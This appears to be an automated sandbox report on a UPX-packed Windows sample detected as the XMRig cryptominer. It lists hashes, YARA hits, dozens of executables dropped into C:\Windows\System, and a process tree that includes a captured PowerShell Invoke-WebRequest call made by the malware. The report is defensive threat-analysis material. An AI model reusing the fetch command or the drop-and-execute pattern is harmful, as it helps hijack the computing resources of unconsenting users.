xmrig | cf22d37ba0e0a44fac49e89b89388226d6504d8f779023d58215afa4f9e516a0

Analysis

max time kernel
97s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
02/08/2024, 00:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2ca85fd72bec980b5e1da8f67b70b870N.exe
Size

1.6MB
MD5

2ca85fd72bec980b5e1da8f67b70b870
SHA1

eea198475d9289c8b7e90f101d2273ce070b56f5
SHA256

cf22d37ba0e0a44fac49e89b89388226d6504d8f779023d58215afa4f9e516a0
SHA512

af98b92db3b67ad989ace2a30a1107fa97994f0cf2772b85f01ca3f9a8557e0a1105025b9f92d7f53f98280ec2b3707b46d33ec45ec89e0165ae57cf0e7a1d14
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWY1s38kQu12bPxvyuzaBgJ9pcFtz:Lz071uv4BPMkibTIA5I4TNrpDGF

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/2580-351-0x00007FF60D610000-0x00007FF60DA02000-memory.dmp	xmrig
behavioral2/memory/5000-565-0x00007FF6E6D90000-0x00007FF6E7182000-memory.dmp	xmrig
behavioral2/memory/2304-555-0x00007FF63FAE0000-0x00007FF63FED2000-memory.dmp	xmrig
behavioral2/memory/1332-416-0x00007FF708890000-0x00007FF708C82000-memory.dmp	xmrig
behavioral2/memory/1392-704-0x00007FF6713A0000-0x00007FF671792000-memory.dmp	xmrig
behavioral2/memory/3172-732-0x00007FF6C0160000-0x00007FF6C0552000-memory.dmp	xmrig
behavioral2/memory/4720-736-0x00007FF6BFEC0000-0x00007FF6C02B2000-memory.dmp	xmrig
behavioral2/memory/5076-739-0x00007FF7C4360000-0x00007FF7C4752000-memory.dmp	xmrig
behavioral2/memory/3392-743-0x00007FF6BB1E0000-0x00007FF6BB5D2000-memory.dmp	xmrig
behavioral2/memory/5036-742-0x00007FF7C5CD0000-0x00007FF7C60C2000-memory.dmp	xmrig
behavioral2/memory/1648-741-0x00007FF71D0F0000-0x00007FF71D4E2000-memory.dmp	xmrig
behavioral2/memory/1532-738-0x00007FF69B520000-0x00007FF69B912000-memory.dmp	xmrig
behavioral2/memory/532-737-0x00007FF6CAE70000-0x00007FF6CB262000-memory.dmp	xmrig
behavioral2/memory/1952-735-0x00007FF740DA0000-0x00007FF741192000-memory.dmp	xmrig
behavioral2/memory/4636-734-0x00007FF634160000-0x00007FF634552000-memory.dmp	xmrig
behavioral2/memory/1540-731-0x00007FF7A8210000-0x00007FF7A8602000-memory.dmp	xmrig
behavioral2/memory/3428-346-0x00007FF7B5930000-0x00007FF7B5D22000-memory.dmp	xmrig
behavioral2/memory/4060-279-0x00007FF62CF50000-0x00007FF62D342000-memory.dmp	xmrig
behavioral2/memory/4452-236-0x00007FF68FFC0000-0x00007FF6903B2000-memory.dmp	xmrig
behavioral2/memory/844-232-0x00007FF6333B0000-0x00007FF6337A2000-memory.dmp	xmrig
behavioral2/memory/4524-168-0x00007FF765080000-0x00007FF765472000-memory.dmp	xmrig
behavioral2/memory/4380-106-0x00007FF6C7A00000-0x00007FF6C7DF2000-memory.dmp	xmrig
behavioral2/memory/2996-14-0x00007FF777D80000-0x00007FF778172000-memory.dmp	xmrig
behavioral2/memory/2996-2821-0x00007FF777D80000-0x00007FF778172000-memory.dmp	xmrig
behavioral2/memory/4812-2822-0x00007FF6A50B0000-0x00007FF6A54A2000-memory.dmp	xmrig
behavioral2/memory/2996-2825-0x00007FF777D80000-0x00007FF778172000-memory.dmp	xmrig
behavioral2/memory/844-2828-0x00007FF6333B0000-0x00007FF6337A2000-memory.dmp	xmrig
behavioral2/memory/4524-2827-0x00007FF765080000-0x00007FF765472000-memory.dmp	xmrig
behavioral2/memory/5076-2830-0x00007FF7C4360000-0x00007FF7C4752000-memory.dmp	xmrig
behavioral2/memory/3428-2837-0x00007FF7B5930000-0x00007FF7B5D22000-memory.dmp	xmrig
behavioral2/memory/4380-2838-0x00007FF6C7A00000-0x00007FF6C7DF2000-memory.dmp	xmrig
behavioral2/memory/4060-2840-0x00007FF62CF50000-0x00007FF62D342000-memory.dmp	xmrig
behavioral2/memory/4452-2842-0x00007FF68FFC0000-0x00007FF6903B2000-memory.dmp	xmrig
behavioral2/memory/4812-2835-0x00007FF6A50B0000-0x00007FF6A54A2000-memory.dmp	xmrig
behavioral2/memory/2580-2833-0x00007FF60D610000-0x00007FF60DA02000-memory.dmp	xmrig
behavioral2/memory/5036-2846-0x00007FF7C5CD0000-0x00007FF7C60C2000-memory.dmp	xmrig
behavioral2/memory/4720-2849-0x00007FF6BFEC0000-0x00007FF6C02B2000-memory.dmp	xmrig
behavioral2/memory/1332-2854-0x00007FF708890000-0x00007FF708C82000-memory.dmp	xmrig
behavioral2/memory/1540-2853-0x00007FF7A8210000-0x00007FF7A8602000-memory.dmp	xmrig
behavioral2/memory/4636-2851-0x00007FF634160000-0x00007FF634552000-memory.dmp	xmrig
behavioral2/memory/5000-2856-0x00007FF6E6D90000-0x00007FF6E7182000-memory.dmp	xmrig
behavioral2/memory/1392-2859-0x00007FF6713A0000-0x00007FF671792000-memory.dmp	xmrig
behavioral2/memory/2304-2862-0x00007FF63FAE0000-0x00007FF63FED2000-memory.dmp	xmrig
behavioral2/memory/1952-2865-0x00007FF740DA0000-0x00007FF741192000-memory.dmp	xmrig
behavioral2/memory/3392-2879-0x00007FF6BB1E0000-0x00007FF6BB5D2000-memory.dmp	xmrig
behavioral2/memory/3172-2866-0x00007FF6C0160000-0x00007FF6C0552000-memory.dmp	xmrig
behavioral2/memory/1532-2910-0x00007FF69B520000-0x00007FF69B912000-memory.dmp	xmrig
behavioral2/memory/1648-2936-0x00007FF71D0F0000-0x00007FF71D4E2000-memory.dmp	xmrig
behavioral2/memory/532-2909-0x00007FF6CAE70000-0x00007FF6CB262000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2976	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2996	oCthMlE.exe
5076	EvwvdxR.exe
4812	aFayJpR.exe
4380	DkrHOSU.exe
4524	mJcywxo.exe
844	sEasUQu.exe
4452	QMvhkFD.exe
4060	yoKthKB.exe
3428	VqriQzJ.exe
2580	DYKVroS.exe
1332	JHOYNsv.exe
2304	HnHlKcS.exe
1648	NijzJgB.exe
5000	FsVdTgo.exe
1392	OhnwfxG.exe
1540	vzOgfJB.exe
3172	kqMBBVN.exe
4636	kAtHLRc.exe
5036	yjporcA.exe
1952	AnZltmU.exe
4720	uuzzKlU.exe
3392	fVunWHy.exe
532	DhFSbyF.exe
1532	dhVWSYQ.exe
3264	BDSjJpm.exe
1144	hqlOXwm.exe
3144	HSsTtMT.exe
5100	ndFNcqm.exe
2568	RosQIPD.exe
2716	ytMGcMY.exe
4252	BtIaRGk.exe
2300	MVyBXzV.exe
4428	SLydISE.exe
3912	LiWguwp.exe
3752	sRizEnC.exe
3808	bLiumEF.exe
1364	pGMWuPZ.exe
4140	HjGnntU.exe
824	mCUioOy.exe
3508	McDgSPu.exe
4724	toLimnR.exe
3044	qTFaIbO.exe
4372	AxsYyaQ.exe
3196	RCSemmM.exe
2056	dbyBCcH.exe
3424	PJmXFZb.exe
4124	FyYWCRf.exe
768	NlNoRBl.exe
2532	gAUUpVr.exe
5032	LSvOcUT.exe
1796	QBbgTEg.exe
3252	bALpsvV.exe
5092	zGOMzrV.exe
436	vYCsCLd.exe
1216	XJMEXqo.exe
3556	OQnNmFY.exe
3740	TBJybFr.exe
864	tViSuAY.exe
2900	vgIWwPD.exe
884	FhOjQkx.exe
4844	bVFNPyC.exe
3544	FEcLrai.exe
4316	lWYwoAe.exe
3908	uYFiabC.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1872-0-0x00007FF72A330000-0x00007FF72A722000-memory.dmp	upx
behavioral2/files/0x00070000000234cb-25.dat	upx
behavioral2/files/0x00080000000234c7-34.dat	upx
behavioral2/files/0x00070000000234d1-94.dat	upx
behavioral2/files/0x00070000000234d2-126.dat	upx
behavioral2/files/0x00070000000234d3-179.dat	upx
behavioral2/memory/2580-351-0x00007FF60D610000-0x00007FF60DA02000-memory.dmp	upx
behavioral2/memory/5000-565-0x00007FF6E6D90000-0x00007FF6E7182000-memory.dmp	upx
behavioral2/memory/2304-555-0x00007FF63FAE0000-0x00007FF63FED2000-memory.dmp	upx
behavioral2/memory/1332-416-0x00007FF708890000-0x00007FF708C82000-memory.dmp	upx
behavioral2/memory/1392-704-0x00007FF6713A0000-0x00007FF671792000-memory.dmp	upx
behavioral2/memory/3172-732-0x00007FF6C0160000-0x00007FF6C0552000-memory.dmp	upx
behavioral2/memory/4720-736-0x00007FF6BFEC0000-0x00007FF6C02B2000-memory.dmp	upx
behavioral2/memory/5076-739-0x00007FF7C4360000-0x00007FF7C4752000-memory.dmp	upx
behavioral2/memory/3392-743-0x00007FF6BB1E0000-0x00007FF6BB5D2000-memory.dmp	upx
behavioral2/memory/5036-742-0x00007FF7C5CD0000-0x00007FF7C60C2000-memory.dmp	upx
behavioral2/memory/1648-741-0x00007FF71D0F0000-0x00007FF71D4E2000-memory.dmp	upx
behavioral2/memory/1532-738-0x00007FF69B520000-0x00007FF69B912000-memory.dmp	upx
behavioral2/memory/532-737-0x00007FF6CAE70000-0x00007FF6CB262000-memory.dmp	upx
behavioral2/memory/1952-735-0x00007FF740DA0000-0x00007FF741192000-memory.dmp	upx
behavioral2/memory/4636-734-0x00007FF634160000-0x00007FF634552000-memory.dmp	upx
behavioral2/memory/1540-731-0x00007FF7A8210000-0x00007FF7A8602000-memory.dmp	upx
behavioral2/memory/3428-346-0x00007FF7B5930000-0x00007FF7B5D22000-memory.dmp	upx
behavioral2/memory/4060-279-0x00007FF62CF50000-0x00007FF62D342000-memory.dmp	upx
behavioral2/memory/4452-236-0x00007FF68FFC0000-0x00007FF6903B2000-memory.dmp	upx
behavioral2/files/0x00070000000234d9-204.dat	upx
behavioral2/files/0x00070000000234eb-201.dat	upx
behavioral2/files/0x00070000000234ea-191.dat	upx
behavioral2/files/0x00070000000234e9-183.dat	upx
behavioral2/files/0x00070000000234d4-178.dat	upx
behavioral2/files/0x00070000000234e8-177.dat	upx
behavioral2/files/0x00070000000234e7-176.dat	upx
behavioral2/memory/844-232-0x00007FF6333B0000-0x00007FF6337A2000-memory.dmp	upx
behavioral2/files/0x00070000000234dc-171.dat	upx
behavioral2/files/0x00070000000234e3-164.dat	upx
behavioral2/files/0x00070000000234e6-160.dat	upx
behavioral2/files/0x00070000000234e5-156.dat	upx
behavioral2/files/0x00070000000234d8-155.dat	upx
behavioral2/files/0x00070000000234e2-147.dat	upx
behavioral2/files/0x00070000000234e1-142.dat	upx
behavioral2/files/0x00070000000234ed-211.dat	upx
behavioral2/files/0x00070000000234ec-202.dat	upx
behavioral2/files/0x00070000000234d6-136.dat	upx
behavioral2/files/0x00070000000234d5-133.dat	upx
behavioral2/files/0x00070000000234df-188.dat	upx
behavioral2/files/0x00070000000234de-120.dat	upx
behavioral2/files/0x00070000000234dd-119.dat	upx
behavioral2/memory/4524-168-0x00007FF765080000-0x00007FF765472000-memory.dmp	upx
behavioral2/files/0x00070000000234db-116.dat	upx
behavioral2/files/0x00070000000234da-107.dat	upx
behavioral2/files/0x00070000000234d7-103.dat	upx
behavioral2/files/0x00070000000234e0-132.dat	upx
behavioral2/files/0x00070000000234ce-90.dat	upx
behavioral2/files/0x00070000000234d0-87.dat	upx
behavioral2/memory/4380-106-0x00007FF6C7A00000-0x00007FF6C7DF2000-memory.dmp	upx
behavioral2/memory/4812-78-0x00007FF6A50B0000-0x00007FF6A54A2000-memory.dmp	upx
behavioral2/files/0x00070000000234cd-70.dat	upx
behavioral2/files/0x00070000000234c8-67.dat	upx
behavioral2/files/0x00070000000234cf-51.dat	upx
behavioral2/files/0x00070000000234c9-48.dat	upx
behavioral2/files/0x00070000000234cc-46.dat	upx
behavioral2/files/0x00070000000234ca-26.dat	upx
behavioral2/memory/2996-14-0x00007FF777D80000-0x00007FF778172000-memory.dmp	upx
behavioral2/files/0x00080000000234c4-8.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\zKxQIBa.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\tdMkQTA.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\kKgLSzd.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\NBNrkIK.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\fEwvHIH.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\ClvoQga.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\ZoaNmSJ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\iuVugZz.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\eLeqZro.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\PrzRsMD.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\CsWLDWB.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\OFSaWpE.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\wUIVIMY.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\mvxmoWH.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\jGgHYVc.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\KWSSBEy.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\bKENyyX.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\eHCVHQg.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\rFRBCbz.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\fAIHhUE.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\IaEIgEG.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\QsJsrkZ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\TBJybFr.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\PyDOcRZ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\hMzecqi.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\YWHLPBQ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\ETNjWYW.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\XwWcdtu.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\gEcNczF.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\wZZzIEE.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\JYMKsrt.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\vjLDpTB.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\xIGKkZG.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\zUjofke.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\HESMZZi.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\wvcMqxC.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\VqriQzJ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\fvMeTQH.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\haiatsx.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\XtTRaCD.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\DfsNqij.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\ybgBOmO.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\UCGNJzG.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\orQYxBf.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\YDaHlKf.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\DctmODR.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\WfDhWeZ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\HCjAPym.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\bPYgpbi.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\JKPrtkE.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\GaECLMa.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\OdLjGPM.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\AeJaFLl.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\TsatYsm.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\MvvhqLj.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\ZTUjxRv.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\CyszRuJ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\hEvDzvS.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\qlLlTHE.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\tQXIeww.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\rJcNgjQ.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\GiOImbU.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\NlNoRBl.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe
File created	C:\Windows\System\nkrXqJz.exe	2ca85fd72bec980b5e1da8f67b70b870N.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe
Token: SeLockMemoryPrivilege	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe
Token: SeDebugPrivilege	2976	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1872 wrote to memory of 2976	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	86
PID 1872 wrote to memory of 2976	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	86
PID 1872 wrote to memory of 2996	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	87
PID 1872 wrote to memory of 2996	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	87
PID 1872 wrote to memory of 5076	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	88
PID 1872 wrote to memory of 5076	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	88
PID 1872 wrote to memory of 4812	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	89
PID 1872 wrote to memory of 4812	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	89
PID 1872 wrote to memory of 4380	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	90
PID 1872 wrote to memory of 4380	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	90
PID 1872 wrote to memory of 4524	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	91
PID 1872 wrote to memory of 4524	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	91
PID 1872 wrote to memory of 844	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	92
PID 1872 wrote to memory of 844	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	92
PID 1872 wrote to memory of 4452	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	93
PID 1872 wrote to memory of 4452	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	93
PID 1872 wrote to memory of 1648	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	94
PID 1872 wrote to memory of 1648	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	94
PID 1872 wrote to memory of 4060	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	95
PID 1872 wrote to memory of 4060	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	95
PID 1872 wrote to memory of 3428	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	96
PID 1872 wrote to memory of 3428	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	96
PID 1872 wrote to memory of 2580	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	97
PID 1872 wrote to memory of 2580	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	97
PID 1872 wrote to memory of 1332	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	98
PID 1872 wrote to memory of 1332	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	98
PID 1872 wrote to memory of 2304	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	99
PID 1872 wrote to memory of 2304	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	99
PID 1872 wrote to memory of 5000	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	100
PID 1872 wrote to memory of 5000	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	100
PID 1872 wrote to memory of 1392	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	101
PID 1872 wrote to memory of 1392	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	101
PID 1872 wrote to memory of 1540	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	102
PID 1872 wrote to memory of 1540	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	102
PID 1872 wrote to memory of 3172	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	103
PID 1872 wrote to memory of 3172	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	103
PID 1872 wrote to memory of 4636	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	104
PID 1872 wrote to memory of 4636	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	104
PID 1872 wrote to memory of 5036	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	105
PID 1872 wrote to memory of 5036	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	105
PID 1872 wrote to memory of 1952	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	106
PID 1872 wrote to memory of 1952	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	106
PID 1872 wrote to memory of 4720	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	107
PID 1872 wrote to memory of 4720	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	107
PID 1872 wrote to memory of 3392	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	108
PID 1872 wrote to memory of 3392	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	108
PID 1872 wrote to memory of 2300	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	109
PID 1872 wrote to memory of 2300	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	109
PID 1872 wrote to memory of 532	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	110
PID 1872 wrote to memory of 532	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	110
PID 1872 wrote to memory of 1532	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	111
PID 1872 wrote to memory of 1532	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	111
PID 1872 wrote to memory of 3264	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	112
PID 1872 wrote to memory of 3264	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	112
PID 1872 wrote to memory of 1144	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	113
PID 1872 wrote to memory of 1144	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	113
PID 1872 wrote to memory of 3144	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	114
PID 1872 wrote to memory of 3144	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	114
PID 1872 wrote to memory of 5100	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	115
PID 1872 wrote to memory of 5100	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	115
PID 1872 wrote to memory of 2568	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	116
PID 1872 wrote to memory of 2568	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	116
PID 1872 wrote to memory of 4372	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	117
PID 1872 wrote to memory of 4372	1872	2ca85fd72bec980b5e1da8f67b70b870N.exe	117

C:\Users\Admin\AppData\Local\Temp\2ca85fd72bec980b5e1da8f67b70b870N.exe
"C:\Users\Admin\AppData\Local\Temp\2ca85fd72bec980b5e1da8f67b70b870N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\System\oCthMlE.exe
  C:\Windows\System\oCthMlE.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\EvwvdxR.exe
  C:\Windows\System\EvwvdxR.exe
  2⤵
  - Executes dropped EXE
  PID:5076
- C:\Windows\System\aFayJpR.exe
  C:\Windows\System\aFayJpR.exe
  2⤵
  - Executes dropped EXE
  PID:4812
- C:\Windows\System\DkrHOSU.exe
  C:\Windows\System\DkrHOSU.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\mJcywxo.exe
  C:\Windows\System\mJcywxo.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\sEasUQu.exe
  C:\Windows\System\sEasUQu.exe
  2⤵
  - Executes dropped EXE
  PID:844
- C:\Windows\System\QMvhkFD.exe
  C:\Windows\System\QMvhkFD.exe
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\System\NijzJgB.exe
  C:\Windows\System\NijzJgB.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\yoKthKB.exe
  C:\Windows\System\yoKthKB.exe
  2⤵
  - Executes dropped EXE
  PID:4060
- C:\Windows\System\VqriQzJ.exe
  C:\Windows\System\VqriQzJ.exe
  2⤵
  - Executes dropped EXE
  PID:3428
- C:\Windows\System\DYKVroS.exe
  C:\Windows\System\DYKVroS.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\JHOYNsv.exe
  C:\Windows\System\JHOYNsv.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Windows\System\HnHlKcS.exe
  C:\Windows\System\HnHlKcS.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\FsVdTgo.exe
  C:\Windows\System\FsVdTgo.exe
  2⤵
  - Executes dropped EXE
  PID:5000
- C:\Windows\System\OhnwfxG.exe
  C:\Windows\System\OhnwfxG.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\vzOgfJB.exe
  C:\Windows\System\vzOgfJB.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\kqMBBVN.exe
  C:\Windows\System\kqMBBVN.exe
  2⤵
  - Executes dropped EXE
  PID:3172
- C:\Windows\System\kAtHLRc.exe
  C:\Windows\System\kAtHLRc.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\yjporcA.exe
  C:\Windows\System\yjporcA.exe
  2⤵
  - Executes dropped EXE
  PID:5036
- C:\Windows\System\AnZltmU.exe
  C:\Windows\System\AnZltmU.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\uuzzKlU.exe
  C:\Windows\System\uuzzKlU.exe
  2⤵
  - Executes dropped EXE
  PID:4720
- C:\Windows\System\fVunWHy.exe
  C:\Windows\System\fVunWHy.exe
  2⤵
  - Executes dropped EXE
  PID:3392
- C:\Windows\System\MVyBXzV.exe
  C:\Windows\System\MVyBXzV.exe
  2⤵
  - Executes dropped EXE
  PID:2300
- C:\Windows\System\DhFSbyF.exe
  C:\Windows\System\DhFSbyF.exe
  2⤵
  - Executes dropped EXE
  PID:532
- C:\Windows\System\dhVWSYQ.exe
  C:\Windows\System\dhVWSYQ.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\BDSjJpm.exe
  C:\Windows\System\BDSjJpm.exe
  2⤵
  - Executes dropped EXE
  PID:3264
- C:\Windows\System\hqlOXwm.exe
  C:\Windows\System\hqlOXwm.exe
